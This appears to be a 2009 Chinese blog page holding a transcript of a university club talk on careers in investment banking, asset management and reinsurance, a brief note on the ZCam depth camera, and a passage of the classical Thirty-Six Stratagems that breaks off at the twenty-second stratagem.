Friday, June 26, 2009

美商高盛不會教你的事:如何在金融界出類拔粹(上)

口述、修訂:arbitrageur
記錄、整理:台大期貨社2004~2005幹部群。社長eikichiyu

我們第一件要做的事,就是清場

你們為什麼要來這邊呢?我跟各位講老實話,這是一個非常非常非常無聊的社團。
在所有類型的社團裡面,學術性社團是最無聊的,而期貨社又是學術性社團裡面最
無聊的社團之一。所以如果你想要有一個溫馨美好的社團經驗,或是想要找男女朋
友,結成社對啊什麼的,我誠心的建議你:馬上離開這裡!這個晚上你可以有更寶
貴的用途。現在想離開的人呢現在就可以背起你的包包,從後門走出去了。

期貨社誤我一生啊啊啊!!!

我今天要講的東西前半部分可能大家在或多或少聽說過,後半部分呢,可說是第一
次發表,請大家多多指教。我今天要講的題目是:

美商高盛不會教你的事:如何在金融界出類拔萃‧

Why are You BEING Here?

所謂出類拔萃的意思是做到CEO之類的等級,首先我希望大家想一想一件事情:
「為什麼你今天晚上要在這個地方?」這是你這輩子唯一一次的2004年9月29日的
晚上,你這輩子不會有第二次這個時刻。這個時刻你決定要在這個地方或是在其他
的地方,再加上以後你也要決定如何消費你的時間,你的生命就因此慢慢變的不一
樣。

一開始先跟各位報告一下那個在金融界最核心的三種產業。哪三種呢?大概分成投
資銀行(Investment Banking, 以下簡稱IB)、資產管理(Asset Management, 以下
簡稱AM)跟再保險集團(Reinsurance Group, 以下簡稱Re)這個三部分,投資銀行我
想大家或多或少在那個報章雜誌上聽說過,電視電影裡面也很多。投資銀行基本上
是這個市場上大部份金融商品和金融服務的生產者,那相對的資產管理公司就變成
是使用者,也就是說它有多很多到處向投資人募集來的錢,再決定要購買投資銀
行,或者是他金融服務的生產者提供給他的各種服務。

迷思之一:投資銀行部是投資銀行的核心。

投資銀行一般來講會分成三大部門,第一部門是銷售和交易部,那第二個部門是投
資銀行部,那第三個部門的話是資產管理部。

https://wmail6.cc.ntu.edu.tw/horde/services/go.php?url=http%3A%2F%2Fwww.gs.com%2Fclient_services%2Findex.html
https://wmail6.cc.ntu.edu.tw/horde/services/go.php?url=http%3A%2F%2Fwww.morganstanley.com%2Fabout%2Finside%2Forgchart.html%3Fpage%3Dabout

而銷售跟交易部門才是投資銀行最核心的一個部門。這個跟大家的認知可能不太一
樣,一般人可能會認為投資銀行部就是銀行最核心的部門,其實不管從哪方面來看
都不是。從歷史來看,一開始這些投資銀行家在幹麻呢?他們是在頭上戴一個高帽
子,帽子裡面裝的是什麼呢?是票據。他今天可能用比較低的價錢去買到票券,然
後他再用比較高的價錢再去把他賣掉,然後他是這個樣子戴著帽子到處服務。慢慢
演變到後來,我們就把投資銀行叫sale side(低買高賣的銷售業),那資產管理叫
buy side。投資銀行賣的服務就像是,比方說假設我是投資銀行的sales and
trading division的人,我就去到處拉客戶說:「你好,要不要來我們公司下單
啊?」就跟證券商的那些營業員是很像的,只是他銷售的對象是投信(即資產管理
公司)而已。

在華爾街和許多金融中心的交易所,交易的方式並不是電腦程式化交易,而是由一
堆交易員在場內那進行喊價的動作。事實上他在裡面交易的時候,他到底喊到多少
其實是沒有外人知道。這也是投資銀行他銷售和交易部門的獲利來源(當然現在又
有越來越複雜的賺錢方式)。比方說假設買方是某間投信公司好了,賣方是sales
and trading division的人,今天賣方向買方報價時,絕對會跟他講說:手續費幫
他砍到最低0.01%,那賣方到底要賺什麼?因為就算交易量再大,手續費還是很
低。乍看之下好像IB還是賺不到什麼錢,其實他賺的錢就是在場內喊的價格和給客
戶價格之間的價差。因為最後IB到底喊到多少AM沒有人知道?事實上AM也不關心,
反正你IB就是我AM下什麼單,你IB就負責成交就對了。各位不要小看這件事,當交
易量極大的時候,要以螢幕上的「市價」成交是很難辦到的事。以上講的是最簡單
的故事,後來還發展出如風險套利等比較複雜的作法。

長此演變下來sales and trading division也產出了最多投資銀行業的CEO,只有
在併購比較興盛的那幾年或是那幾個時期,如1980年代和2000年左右投資銀行部會
有一些人佔據投資銀行高位,不然其他時候投資銀行的董事會成員,其實大部分還
是由sales and trading division的人來出任的。(所以各位有志於投資銀行業的
人請慎重考慮一下要不要去做一下這些sales and trading division的工作。)而
且sales and trading division他有另外一個好處,就是這個工作和你的家世背景
相關性會比較小一點。

相對的,如果是投資銀行部或者是私人銀行部(Private Banking)的話這跟你家世
背景的關係就很大。就是說進去是靠關係拉生意。所謂關係就是你前人累積的成
果。請大家不要把關係看成是一個負面的東西,那就好像家族累積下來的資產一
樣。我要跟大家講的是:如果你沒有關係的話,從哪邊開始起步會比較好。像其實
承銷之類的投資銀行服務,給幾家大的投資銀行作都是差不多的,不管給誰做,他
們背後都是整個部門在support。那,到底要給誰做?當然是看交情囉!啊,這個
是朋友的小孩,就給他做好了。私人銀行服務也類似,如果我家的資產就是從一開
始到現在通通是給這個人操盤,就繼續給他做下去好了。如果幫我服務的這個人跳
到另外一家公司,我通常也會跟他過去。

投資銀行部業務、私人銀行部業務比較和特定員工人脈相關。和公司信譽較無關。

可是在sales and trading division就不是那麼一回事了,因為從去拉客戶的那個
叫sales,然後那就下指令交易的這個trader分成好幾關,從在交易室裡面按按鍵
的人,到交易所交易廳的pool裡面比手勢的那些人,那是一整組人馬啊!哪一家公
司能夠喊到最好的價格,就是各家公司真正的功夫。所以通常一個人跳了,也就是
sales and trader如果在公司間跳動的話,他的客戶比較不會跟著他跑。也就是說
這是一個跟公司的reputation比較有關的部門。

在Sales and Trading部門你最需要的就是機率思考(probabilistic thinking)的
能力,和高度抗壓性的人格特質。最近美國前財政部長、也是前高盛董事長的魯賓
寫的「不確定的世界」(時報出版)裡面對於機率思考的益處有詳細介紹。值得一提
的是:魯賓以前也是交易員。

接下來再講的就是投資銀行部,那投資銀行部大家就比較熟悉投資銀行部就是做併
購、承銷股票,海外公司債這些。在生意很好的時候,比方說在2000年左右或是說
在1980年那個時候,每一筆案子他們抽的錢大概是交易金額,聽清楚,是交易金
額,的6%。就是說我要發行100億的公司債,交易金額就100億,那投資銀行部門一
個team大概是六個人左右,這六個人就去分這當中的佣金,大概會在6%左右,也就
是六億六億就六個人分。這只是一個case而已,你在報章雜誌上甚至電視電影裡面
看到有關投資銀行可以賺很多錢的故事幾乎都是這一種的。不過基本上這些大的
case就這麼多而已,不見得每個人都可以做到那樣子的生意,更何況是之前在網路
上有一篇新聞,說荷蘭式拍賣逐漸取代傳統IPO做法,傳統投銀的獲利空間變小,
有興趣的人你可以去網路上看。

再談談那第三個部門。投資銀行也會做一些資產管理的服務,當然投銀的資產管理
部人員也很專業,不過或多或少會有利益衝突的問題。比方說雖然其他券商的手續
費較低,可是這些人還是選擇自家當做經紀商。或者說是當有非常好的交易標的
時,是投資銀行的自營部利益優先呢?還是這些請投銀代操的客戶優先?客戶不免
有此懷疑,因此獨立的基金管理公司仍然佔據廣大市場。

接下來我們要講投資銀行需要什麼樣的人材。大概在前年吧,各家投銀慢慢開始在
台灣招收比較多的大學畢業生,以財金系的居多,如果你認識這方面的人的話,你
可以去問一下。那另外一個資訊來源就是他的網站上面他會有一些列出「本公司一
些代表性的人物」,那代表性的人物你去整理一下,你會發現幾個現象:第一個是
成員非常的廣泛,然後MBA的比例比你想像中的低很多,不到百分之五十。可是基
本上他們都是他們那個國家排名前幾名大學畢業的,不管他是什麼主修或者是有沒
有商科背景都是一樣的。換句話說呢,投資銀行完全不掩飾自己的名校情節。各位
如果你是讀台大的話呢或者是政大的話你是蠻幸運的,可是如果你是其他學校的
話,你可能需要歷練一段時間,然後去國外讀個MBA(當然得是名校)再看有沒有機
會。

不過他網站上資訊也可能會誤導你,因為這個世界上會跑去唸MBA的兩種最多的人,
一種是大學畢業就跑去當管理顧問的人,另一種是大學畢業跑去投資銀行工作的
人,然後讀完MBA之後也是有一大票人再跑去投資銀行工作。這說明什麼?已經進
去投銀工作過的人會去讀MBA,讀完MBA他們還是想要進去投銀工作,這個是說國際
名校的MBA學位對於你在投資銀行的謀職跟升遷,其實還是有關鍵的影響力的。不
過投資銀行說老實話沒有各位想像說的難進,但是進了也不要太高興,因為那一行
的淘汰率非常非常非常的高。比方說所謂的高盛人,他這輩子當高盛人的日子不會
超過兩年,這是一個平均數字。那這是不是你喜歡的工作型態?或是你要不要說找
一家公司、一種產業別說是「從一而終」,至少可以做個五年十年的?你要怎樣生
活就看你自己。

再來再談談資產管理公司(Asset Management),又稱投信,避險基金也屬於這一
類。關於投信是怎樣的公司,我就不再多做解釋了。在這個社會上,資產管理公司
已經變成很多公司實質上的股東了,可是這筆錢也就是那最後持股的人,已經要算
到誰頭上已經不知道了,而且大部份受益人的金額都不會太大。換句話說,這個時
候基金經理人就好像是大股東一樣,雖然那些資金是客戶的錢,不是他的錢,但是
因為是基金經理人在決定要買者是要賣某一家公司的股票,於是乎他就被奉為座上
賓,然後投資銀行和各個基金所持服的公司成員,就得定期專門去向這些資產管理
公司的經營階層和基金經理人報告,也就是說,buy side因為持股多,是被服侍的
老大。世界最有名的資產管理公司是富達,富達最有名的人大概是Peter Lynch吧,
不過他已經退休很久了。

在資產管理公司裡面它也有分很多部門,不過他每個部門拿到的pay跟投資銀行比
起來,差距就比較大。投資銀行裡面,只有少數的部門拿到的錢是明顯比其他人少
一節的。資產管理公司裡面,只有基金經理人跟比較大牌的分析師可以拿到很多
錢。其他的像是行政人員總機小姐或者說是客服人員,這些人拿到的薪水都是比較
低的。比方說,今天你向大家說:「我在高盛工作。」大家就會「哇!」如果你說
在富達工作的話,他們就會先問你在什麼部門。至於資產管理公司他要什麼樣的
人,其實他講的滿明確的,就是要MBA跟CFA兩種都具備的人,那這當然是包括你已
經有幾年的工作經驗了,可是並不是說只要你有這兩項資格就進得去,因為資產管
理公司相對於投資銀行而言,他是一種比較穩定的工作,也就是說離開的人比較
少,那進去的人當然就不可能多。不過你進資產管理公司的話,你的生命會比較有
品質一點。

不過也別小看這些起薪低的人。在資產管理公司裡面,升上高階管理職的人,很多
都是客服部門出身的,這其中原由其實大家可以好好推敲,因為,我自己是猜想,
他們比較了解、比較貼近客戶的需求,就是說比起基金經理人,他們們了解客戶。

接著我要講的第三種公司就是再保險集團。真正超大的那種再保險集團是很恐怖
的,我大概給各位幾個數字。比方說幕尼黑再保集團,可以在一年裡面收40億歐元
的保費,你可以換算成台幣,現在的話大概是1600多億,那他的員工人數不多,只
有40000人而已。像911這種事件的話,他一次可以賠掉20億美金。不是說他整年賠
的,而是說光是因為911事件就可以賠掉20億美金……的這種大集團。這些再保險
集團、很多名字,各位在國內可能很多連聽都沒聽過。

保險公司,不論是產險、壽險或是再保險,最大的特點是在於:他是唯一一種可以
固定收到成本為零甚至為負的資金的一種行業。那如果你不知道什麼叫做成本為零
或是成本為負的話,你可以把市場上的定存利率想成成本為零的那條線,假設這市
場上的無風險利率就是3%,那代價是3%的錢就是叫做沒有成本,如果你能用2.5%的
代價就能借到錢的話,或是收到錢,那就叫做你可以收到成本為負的資金。保險公
司正是這樣的一個行業。各位應該沒有人不知道華倫巴菲特的吧!華倫巴菲特他手
下大概有幾十家公司,那其中保險事業對他每年貢獻的現金,我講的是現金,就占
了他整個集團的一半。那他就是拿這些成本很低甚至是負的錢,再去投資其他公
司。保險公司投資其他行業的法令已經慢慢地要鬆綁了。你們大概也知道,新光金
和台新金,就是吳家嘛,吳家是從保險集團開始壯大,光是吳家就已經產生兩家金
控,那蔡家也是兩家,富邦跟國泰其實一開始也是靠這種保險業,那他們再慢慢從
保險那邊收到資金去擴及到其他各行各業。

可是因為保險公司的薪水比較低、升遷比較慢(相對於證券業和銀行業),所以他吸
收到人才的素質一直不如資產管理公司及投資銀行。可是如果法規繼續鬆綁,我的
意思是說,因為保險公司他的資金成本極低,股本和現金又多的一個特性,只要法
令鬆綁,他在併購的時候他反而會取得一個主導的位置。你可以想像一個最極端的
情形,假設今天法令鬆到我們可以從保戶身上收來的錢去進行惡意併購的話,那會
是一個怎麼樣的世界?

結論就是呢,在法令慢慢鬆綁的同時,保險公司在未來的金融界甚至各行各業,影
響力會越來越大。那最明顯的一個例子就是柏克夏哈薩威集團,就是保險公司很容
易變成一個跨領域的控股公司的一個核心,這就是保險公司在未來世界的一個價值。

接下來再跟各位分享一下保險公司它裡面工作的人大概有哪幾種。第一種人就是數
學跟統計專家,一般來講我們都會用精算人員去稱他。那精算人員做的事情就是
「決定某一種風險值多少價格」。至於算法當然千奇百怪,不過這是一個非常非常
古老的行業,大概已經有上百年了吧。你要做這種工作的話,其實很簡單。第一個
就是你要通過精算考試,如果你是在美國、英國跟亞洲大部分地區都是這樣子。雖
然在歐陸有一些地方他們是用學位跟工作經驗,就是說某些學校的學位跟工作經驗
去培養精算人員。不過我想以大家未來發展可能性來講的話,考試還是比較快的方
法,不然你要去歐洲唸那些學校成本也是很高,而且你不能從現在就開始做準備。
除了通過精算考試之外,你還要有基本的程式寫作能力,你的程式寫作能力不需要
像IT人員一樣的高深,可是基本的程式寫作能力是必要的。最後你還需要有那種生
意人的特質。應該這樣講好了,有人說混得不太好的精算人員,美國有一種名詞去
形容他們,叫"number crunching people",就是在咀嚼數字的那種人。比較好的
精算人員或最後能夠晉升高階管理階層的,其實是具有生意人特質跟個性的那種
人。如果你不知道什麼是生意人特質跟個性,你就想像業務員就對了。不過同時具
備這兩種特質的人很少,如果剛好就是你,可以好好考慮一下保險公司。

另外就是需要科學家跟工程師。這兩種人到底在幹麻?仔細想想,什麼是最難的或
最有趣的保險,我在這邊可以跟大家報告一下:比方說是恐怖攻擊險,或者是類似
瘟疫的那種險,就是重大傳染病的那種保險,而且是一次就會死很多人﹔或者說是
氣候變遷險,比方說是如果海水溫度還再上升個一度的話,那會怎麼樣?怎樣的產
業在怎樣的國家會有怎麼樣的損失,或臭氧層的破洞再變大一倍的話會怎麼樣?然
後還有就是……像是什麼藥如果你長期使用之後或大範圍使用之後會有什麼副作
用?比方說如果這些抗生素你再拼命用,那到最後所有細菌都不怕抗生素了,那怎
麼辦?這些風險到底該怎麼樣轉換成保險用語?那種國際再保險集團他們會雇用科
學家定期監看各種科學期刊,他們會組成一個小組去決定說什麼東西大概值多少價
錢。像之前我看到一個報導他說,氣候變遷將會使全球損失三千億美金,不過我不
知道這個東西怎麼來的,但他們就算得出這個數字。那這個當然是科學家和精算人
員合作的一個結果。

那工程師的話就是,其實很簡單嘛,比方說北京奧運的場地,那北京奧運的場地,
他這個地方這個東西,比方說你保額就是它的建造費用的話,你這個保費到底要定
到多少?蓋的時候有沒有偷工減料,或是設計的好不好,或是其他週邊的各種因
素,就是所謂的工程的專業知識有在裡面。這個東西你要怎麼換成保險的術語跟價
格?這是工程師在保險公司的一個作用。

還有就是財務跟經濟學家。像現在大家比較熟的一個詞就是財務工程,也就是說現
在衡量風險的方法比起以前要複雜很多,有一些已經不是傳統精算人員能夠做了。
所以保險集團裡面有些這樣的人。那經濟那不用講了,就景氣上上下下,或投資熱
潮從中國移到不知道是哪一國,哪些國家會有怎麼樣的風險……。還有就是律師,
有些律師是幫忙準備訴訟用的,有些是幫忙定保單用的,因為真正那種大額的保單
上,每一條規矩、每一條限制到底相對是多少風險的調整,多少的可能損失,萬一
上法庭可能有什麼樣的結果?這部分都需要律師的加入。保險公司裡還需要IT人
員,當然就是搞電腦的,這就不用說了。

那另外一種人叫做underwriter,他在投資銀行裡面叫做承銷人員,但在再保險集
團裡面他叫做核保人員,他在再保險集團裡面有關鍵性的地位,他是再保險集團裡
面做生意的那種人。To insure or not to insure, that is the question……就
是underwriter在做的事情。他們做的事情就是比方說一個非常大額的保單,你要
保還是不保,或者說是條約裡面有沒有哪一條要修改,或者說是價格如果比對手高
的時候,萬一我們提出來價格比對手還要差的時候,你是不是能夠當場立即反應知
道成本是多少?能不能夠把價格降下來,這就是underwriter在做的事情。那你要
做underwriter的話你需要比在投資銀行或資產管理公司的人比較好的數學能力,
和不比他們差的做生意的本事。這種人坦白講不多。各位有機會的話,可以再多研
究一下underwriter這個工作。

再來我就要講說,你要在金融業發展比較一般化的走法。其實很簡單,就是拉高你
的大學成績->學好英文->申請國外英語系國家交換學生->進外商暑期工讀->進外商
當分析師,或是所謂大學畢業能夠做正職。接下來就是過了三五年去國外讀個MBA,
接下來進外商申請那種MBA讀完能做的那份工作,一般而言叫做associate 。可是
我蠻懷疑說,在場的各位有多少人能走這條路的,因為路很窄,位子很少,非常非
常的少。所以如果你還沒仔細考慮過其他路線,接下來可要仔細聽了。

我們在金融界到底在幹麻?我們做的事情其實就是constrained optimization。也
就是在限定條件下最佳化你的表現,要表現的比你的對手還要好。你可以想像是奧
運,每一項比賽都有他的比賽規則,你怎麼在這比賽規則之下鍛鍊你自己,能夠在
需要的時候表現得比你對手還要好。那在古時候要做這種事情其實非常簡單的,基
本上你只要會加減乘除會看財務報表,特別是那時候電腦還沒出來,憑人腦要做即
時的連續時間函數的運算那是不可能的事情。甚至你現在看起來用excel能很快算
出來的東西,在那時候就要一組精算師或一組數學家算個好幾天呢!現在在保險
業,你需要用到應用數學、應用統計統計的知識,和要會使用一些保險相關的套裝
軟體。如果是現在滿紅的財務工程的話呢,那就更麻煩了。你需要寫程式然後及時
代入交易所給你的報價,然後解那個隨機微分方程。你怎樣解的比你的對快、比你
的對手好,先比你對手快一步做出正確方向的投資決定,你就可以打敗你對手了。

面對這樣高度複雜的狀況,專業還是最基本的,因為現在這種現象已經變成是......
當代財務學是建構在數學和電腦之上的一門學問。這些所謂硬功夫的各種專業是最
重要的事情。大學的時候或研究所階段如何修習相關課程呢?我想這是跟各位比較
有關的部分,也就是你要怎麼準備你未來的人生?大學你修課的時候要以此方向為
準則。這個部分我在板上有po過三種參考的課表,各位可以回去看一看。簡單來講
就是數學電腦經濟會計這些東西,再往上有財務工程和金融計算,最上有連續時間
財務之類的東西。

總而言之,想在金融界闖盪,如果沒有堅實的專業能力,就像是赤手空拳在叢林裡
搏鬥一樣,還能活著,純粹是靠運氣。請大家務必把握時間,加強自己的專業能
力,不論是計量還是程式能力都好。

講到這邊不知道大家有沒有什麼問題呢?我問大家一個問題:有兩種人,數學電腦
很厲害,在世界上非常有名,這兩種人是哪兩種人,不知道有沒有人知道?第一種
人叫做華人,華人意思就是中港台,你也可以算進新加坡。第二種人就是印度人。
我這樣講你可能很快就想起來,這兩種人數學和電腦的功力在世界上都是有名的,
在矽谷的部分不管是軟體還是硬體都有相當好的發展,我不敢說這兩種人已經支配
全世界的IC產業,但基本上他們在IC產業的表現大家已經是有目共睹的。甚至有人
把所謂的IC industry叫做India China Industry。現在問題就來了。為什麼金融
業不會是另外一種、至少現在還看不出來,不是另外一種IC產業?為什麼印度裔的
人跟華人在金融界的表現還沒有非常突出,那反而是猶太人在這個領域如此出色?
到底是為什麼?猶太人到底是掌握了什麼?或者我該這樣講,猶太裔的銀行家到底
掌握了什麼,使他們今天在金融界有這樣的地位?我們的目標是不是應該要放在學
習猶太銀行家成功的秘訣?那這個秘訣到底在哪邊?其實我剛才已經把答案寫在黑
板上了。秘密就在……像這個時候就要來一段工商服務了。馬上走開,不要回來!
 

Tuesday, June 23, 2009

ZCam

ZCam: a new camera sensing z-depth by using infra-red
http://ideas.strukt.com/2008/07/z-cam/

Microsoft says they will sell new game console on XBox. Some says they use ZCam: http://www.youtube.com/watch?v=g_txF7iETX0

How autofocus work:
http://electronics.howstuffworks.com/autofocus2.htm

cpu 500MHz, 那解析度可以到30公分

Wednesday, June 10, 2009

三十六計 密本兵法

總說
六六三十六,數中有術,術中有數。陰陽燮理,機在其空,機不可設,設則不中。【按語】解語重數不重理,蓋理,術語自明;而數,則在言外,若圖徒知術之術而不知數中有數,則術多不應,且詭謀權術,原在事理之中,人情之內。徜事出不經,則詭異立見,詫世惑俗,而機謀洩矣。或曰:三十六計中,每六計成一套,第一套勝戰計,第二套為敵戰計,第三套為攻戰計,第四套為混戰計,第五套為並戰計,第六套為敗戰計。

第一套勝計戰

第一計瞞天過海
備周則意怠;常見則不疑。陰在陽之內,不在陽之對。太陽,太陰。

陰謀作為,不能於背時秘處行之。夜半行竊,僻巷殺人,愚俗之行,非謀士之所為也。如:開皇九年,大舉伐陳。先是弼請緣江防人,每交代之際,必集歷陽,大列旗幟,營幕蔽野。陳人以為大兵至,悉發國中士馬,既而知防人交代。其眾復散,後以為常,不復設備,及若弼以大軍濟江,陳人弗之覺也。因襲南徐州,撥之。

第二計圍魏救趙
共敵不如分敵,敵陽不如敵陰。

【按語】
治兵如治水:銳者避其鋒,如導疏;弱者塞其虛,如築堰。故當齊救趙時,孫子謂田忌曰:"夫解雜亂糾紛者不控拳,救鬥者,不搏擊,批亢搗虛,形格勢禁,則自為解耳。"

第三計借刀殺人
敵已明,友未定,引友殺敵,不自出力,以《損》推演。

【按語】
敵像已露,而另一勢力更張,將有所為,便應借此力以毀敵人。如:鄭桓公將欲襲鄶,先向鄶之豪傑、良臣、辨智、果敢之士,盡書姓名,擇鄶之良田賂之,為官爵之名而書之,因為設壇場郭門之處而埋之,釁之以雞緞,若盟狀。鄶君以為內難也,而盡殺其良臣。桓公襲鄶,遂取之。諸葛亮之和吳拒魏,及關羽圍樊、裹,曹欲徙都,懿及蔣濟說曹曰:"劉備、孫權外親內疏,關羽得志,權心不願也。可遣人躡其後,許割江南以封權,則樊圍自釋。"曹從之,羽遂見擒。

第四計以逸待勞
困敵之勢,不以戰;損剛益柔

【按語】
此即致敵之法也。兵書云:"凡先處戰地而待敵者佚,後處戰地而趨戰者勞。故善戰者,致人而不致於人。"兵書論敵,此為論勢,則其旨非擇地以待敵;面在以簡馭繁,以不變應變,以小變應大變,以不動應動以小動應大動,以樞應環也。如:管仲寓軍令於內政,實而備之;孫臏於馬陵道伏擊龐涓;李牧守雁門,久而不戰,而實備之,戰而大破匈奴。

第五計趁火打劫
敵之害大,就勢取利,剛決柔也。

【按語】
敵害在內,則劫其地;敵害在外,則劫其民;內外交害,敗劫其國。如:越王乘吳國內蟹稻不遺種而謀攻之,後卒乘吳北會諸侯於黃池之際,國內空虛,因而搗之,大獲全勝。

第六計聲東擊西
敵志亂萃,不虞,坤下兌上之像,利其不自主而取之。

【按語】
西漢,七國反,周亞夫堅壁不戰。吳兵奔壁之東南陬,亞夫便備西北;已而吳王精兵果攻西北,遂不得入。此敵志不亂,能自去也。漢末,朱雋圍黃巾於宛,張圍結壘,起土山以臨城內,鳴鼓攻其西南,黃巾悉眾赴之,雋自將精兵五千,掩其東北,遂乘虛而人。此敵志亂萃,不虞也。然則聲東擊西之策,須視敵志亂否為定。亂,則勝;不亂,將自取敗亡,險策也。

第二套敵戰計

第七計無中生有
誑也,非誑也,實其所誑也。少陰、太陰、太陽。

【按語】
無而示有,誑也。誑不可久而易覺,故無不可以終無。無中生有,則由誑而真,由虛而實矣,無不可以敗敵,生有則敗敵矣,如:令狐潮圍雍丘,張巡縛嵩為人千餘,披黑夜,夜縋城下;潮兵爭射之,得箭數十萬。其後復夜縋人,潮兵笑,不設備,乃以死士五百砍潮營,焚壘幕,追奔十餘里。

第八計暗渡陳倉
示之以動,利其靜而有主,"益動而巽"。

【按語】
奇出於正,無正不能出奇。不明修棧道,則不能暗渡陳倉。昔鄧艾屯白水之北;姜維遙廖化屯白水之南,而結營焉。艾謂諸將日:"維令卒還,吾軍少,法當來渡,而不作橋,此維使化持我﹒令不得還。必自東襲取洮城矣。"艾即夜潛軍,逕到洮城。維果來渡。而艾先至,據城,得以不破。此則是姜維不善用暗渡陳倉之計;而鄧艾察知其聲東擊西之謀也。

第九計隔岸觀火
陽乖序亂,明以待逆。暴戾恣睢,其勢自斃。順以動豫,豫順以動。

【按語】
乖氣浮張,逼則受擊,退則遠之,則亂自起。昔袁尚、袁熙奔遼東,眾尚有數千騎。初,遼東太守公孫康,恃遠不服。及曹操破烏丸,或說曹遂征之,尚兄弟可擒也。操曰:"吾方使斬送尚、熙首來,不煩兵矣。"九月,操引兵自柳城還,康即斬尚、熙,傳其首。諸將問其故,操日:"彼素畏尚等,吾急之,則併力;緩之,則相圖,其勢然也。"或曰:此兵書火攻之道也,按兵書《火攻篇》前段言火攻之法,後段言慎動之理,與隔岸觀火之意,亦相吻合。

第十計笑裡藏刀
信而安之,陰以圖之,備而後動,勿使有變。剛中柔外也。

【按語】
兵書云:"辭卑而益備者,進也;無約而請和者,謀也。"故凡敵人之巧言令色,皆殺機之外露也。宋曹瑋知渭州,號令明肅,西夏人憚之。一日瑋方對客弈棋,會有叛誇數千,亡奔夏境。堠騎(騎馬的偵宿員)報至,諸將相顧失色,公言笑如平時。徐謂騎日﹒"吾命也,汝勿顯言。"西夏人聞之,以為襲己,盡殺之。此臨機應變之用也。若勾踐之事夫差﹒則意使其久而安之矣。

第十一計李代桃僵
勢必有損,損陰以益陽。

【按語】
我敵之情,各有長短。戰爭之事,難得全勝,而勝負之訣,即在長短之相較,乃有以短勝長之秘訣。如以下駟敵上駟,以上駟敵中駟,以中駟敵下駟之類:則誠兵家獨具之詭謀,非常理之可測也。

第十二計順手牽羊
微隙在所必乘;微利在所必得。少陰,少陽。

【按語】
大軍動處,其隙甚多,乘間取利,不必以勝。勝固可用,敗亦可用。

第三套攻戰計

第十三計打草驚蛇
疑以叩實,察而後動;復者,陰之媒也。

【按語】
敵力不露,陰謀深沉,未可輕進,應遍探其鋒。兵書云:"軍旁有險阻、潢井、葮葦、山林、翳薈者,必謹復索之,此伏奸所藏也。"

第十四計借屍還魂
有用者,不可借;不能用者,求借。借不能用者而用之,匪我求童蒙,童蒙求我。

【按語】
換代之際,紛立亡國之後者,固借屍還境之意也。凡-切寄兵權於人,而代其攻寧者,皆此用也。

第十五計調虎離山
待天以困之,用人以誘之,往蹇來連。

【按語】
兵書曰:"下政攻城"。若攻堅,則自取敗亡矣。敵既得地利,則不可爭其地。且敵有主而勢大:有主,則非利不來趨;勢大,則非天人合用,不能勝。漢末,羌率眾數千,遮虞詡於隊倉崤谷。詡即停軍不進,而宣言上書請兵,須到乃發。羌聞之,乃分抄旁縣。翔因其兵散,日夜進道,兼行百餘里,令軍士各作兩灶,日倍增之,羌不敢逼,遂大破之。兵到乃發者,利誘之也;日夜兼進者,用天時以困之也;倍增其灶者,惑之以人事也。

第十六計欲擒故縱
逼則反兵;走則減勢。緊隨勿迫。累其氣力,消其鬥志,散而後擒,兵不血刃。需,有孚,光。

【按語】
所謂縱著,非放之也,隨之,而稍鬆之耳。"窮寇勿追",亦即此意,蓋不追者,非不隨也,不追之而已。武侯之七縱七擒,即縱而隨之,故躡展轉推進,至於不毛之地。武侯之七縱,其意在拓地,在借孟獲以服諸蠻,非兵法也。故論戰,則擒者不可復縱。

第十七計拋磚引玉
類以誘之,擊蒙也。

【按語】
誘敵之法甚多,最妙之法,不在疑似之間,而在類同,以固其惑。以旌旗金鼓誘敵者,疑似也;以老弱糧草誘敵者,則類同也。如:楚伐絞,軍其南門,屈瑕曰:" 絞小而輕,輕則寡謀,請勿捍採樵者以誘之。"從之,絞人獲利。明日絞人爭出,驅楚役徙於山中。楚人坐守其北門,而伏諸山下,大敗之,為城下之盟而還。又如孫臏減灶而誘殺龐涓。

第十八計擒賊擒王
摧其堅,奪其魁,以解其體。龍戰於野,其道窮也。

【按語】
攻勝則利不勝取。取小遺大,卒之利、將之累、帥之害、攻之虧也。捨勝而不摧堅擒王﹒是縱虎歸山也。擒王之法,不可圖辨旌旗,而當察其陣中之首動。昔張巡與尹子奇戰,直衝敵營,至子奇麾下,營中大亂,斬賊將五十餘人,殺士卒五千餘人。迎欲射子奇而不識,剡蒿為矢,中者喜謂巡矢盡,走白子奇,乃得其狀,使霽雲射之,中其左目,幾獲之,子奇乃收軍退還。

第四套混戰計

第十九計釜底抽薪
不敵其力,而消其勢,兌下乾上之像。

【按語】
水沸者,力也,火之力也,陽中之陽也,銳不可當;薪者,火之魄也,即力之勢也,陰中之陰也,近而無害;故力不可當而勢猶可消。尉繚子曰:"氣實則鬥,氣奪則走。"面奪氣之法,則在攻心,昔吳漢為大司馬,有寇夜攻漢營,軍中驚擾,漢堅臥不動,軍中聞漢不動,有傾乃定。乃選精兵反擊,大破之:此即不直當其力而撲消其勢也。宋薛長儒為漢、湖、滑三州通判,駐漢州。州兵數百叛,開營門,謀殺知州、兵馬監押,燒營以為亂。有來告者,知州、監押皆不敢出。長儒挺身徒步,自壞垣入其營中,以福禍語亂卒日:"汝輩皆有父母妻子,何故作此?叛者立於左,脅從者立於右!"於是,不與謀者數百人立於右;獨主謀者十三人突門而出,散於諸村野,尋捕獲。時謂非長儒,則一城塗炭矣!此即攻心奪氣之用也。或日:敵與敵對,搗強敵之虛以敗其將成之功也。

第二十計混水摸魚
乘其陰亂,利其弱而無主。隨,以嚮晦入宴息。

【按語】
動盪之際,數力衝撞,弱者依違無主,散蔽而不察,我隨而取之。《六韜》日:"三軍數驚,士卒不齊,相恐以敵強,相語以不利,耳目相屬,妖言不止,眾口相惑,不畏法令,不重其將:此弱征也。"是魚,混戰之際,擇此而取之。如:劉備之得荊州,取西川,皆此計也。

第二十一計金蟬脫殼
存其形,完其勢;友不疑,敵不動。巽而止蠱。

【按語】
共友擊敵,坐觀其勢。尚另有一敵,則須去而存勢。則金蟬脫殼者,非徒走也,蓋為分身之法也。故大軍轉動﹒而旌旗金鼓,儼然原陣,使敵不敢動,友不生疑,待己摧他敵而返,而友敵始知,或猶且不如。然則金蟬脫殼者,在對敵之際,而抽精銳以襲別陣也。如:諸墓亮卒於軍,司馬懿追焉,姜維令儀反旗鳴鼓,若向懿者,懿退,於是儀結營而去。檀道濟被圍,乃命軍士悉甲,身自(白)服乘輿徐出外圍,魏懼有伏,不敢逼,乃歸。

第二十二計關門捉賊
小敵困之。剝,不利有攸往。

【按語】
